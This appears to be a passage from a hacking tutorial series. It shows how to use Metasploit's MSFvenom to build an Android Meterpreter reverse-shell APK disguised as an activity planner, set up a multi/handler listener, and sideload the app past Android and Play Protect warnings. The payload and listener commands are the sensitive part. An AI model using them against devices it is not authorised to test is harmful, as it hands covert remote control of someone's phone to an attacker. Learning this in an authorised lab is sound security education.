Accessing Android
Most web browsing and ever more general net usage is happening on mobile devices. Let’s see if we can break into one.
To finish this journey, we’ll show you how mobile devices can be hacked by rogue apps. In fact, we’ll use Metasploit to craft our own back door, and show how this provides remote access to the device. Metasploit Framework (the proper name for the non-commercial edition) is an essential part of any hacker’s toolkit, and it would be remiss of us not to mention it. Among other things, it automates testing for known vulnerabilities, and allows payloads that exploit such vulnerabilities to be generated. As you would expect, it’s installed and ready to go in Kali.
The component of Metasploit Framework that generates payloads (the rogue code attackers want to run on target devices) is called MSFvenom. We’ll use it to create a reverse shell, so the target device will phone home to our machine and give us a remote shell, like a backwards SSH connection, hence the name. Metasploit has already done the hard work for us and coded its own reverse shell, named Meterpreter. So we’ll go ahead and package that up as follows:
$ msfvenom -p android/meterpreter/reverse_tcp
LHOST=
Substitute your machine’s IP, not the target device’s, in the HOST argument. We’re assuming that the target device is on your local network and, of course, that you have permission to do what you’re about to do. MSFvenom can produce payloads for all OSes, and in this case it’s smart enough to deduce that we want an Android one (written in Dalvik) from the file extension.
Now launch the Metasploit console with msfconsole so we can prepare our Meterpreter shell to listen for connections. When it’s ready, the prompt changes to msf6 > . Then use the multihandler to prepare our shell, again substituting your IP address: use multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.122.125 set LPORT 4444 exploit
Our machine is now waiting for the target machine to connect. To do that, we need to get the malicious APK file installed on the target. In our scenario (where the target device is under our control), we can do this by uploading the file directly to it (over USB or Bluetooth, although you’ll find Android makes this difficult) or using a file-sharing service. We used our Nextcloud instance to host it and Android curtly told us it didn’t trust installing apps from this source, but then gave us the option to allow it.
Next came the warning showing all the permissions our naughty MainActivity APK wanted (pretty much all of them). And when we allowed it to proceed anyway, we received a scary notice from Google Play Protect saying the app may be harmful. Like fools, we tapped Install Anyway. The app disguises itself as a simple activity planner, but as soon as it starts, it attempts to connect to the reverse shell we have waiting. From there, you can type help to see all the no-good things you can do with the compromised device.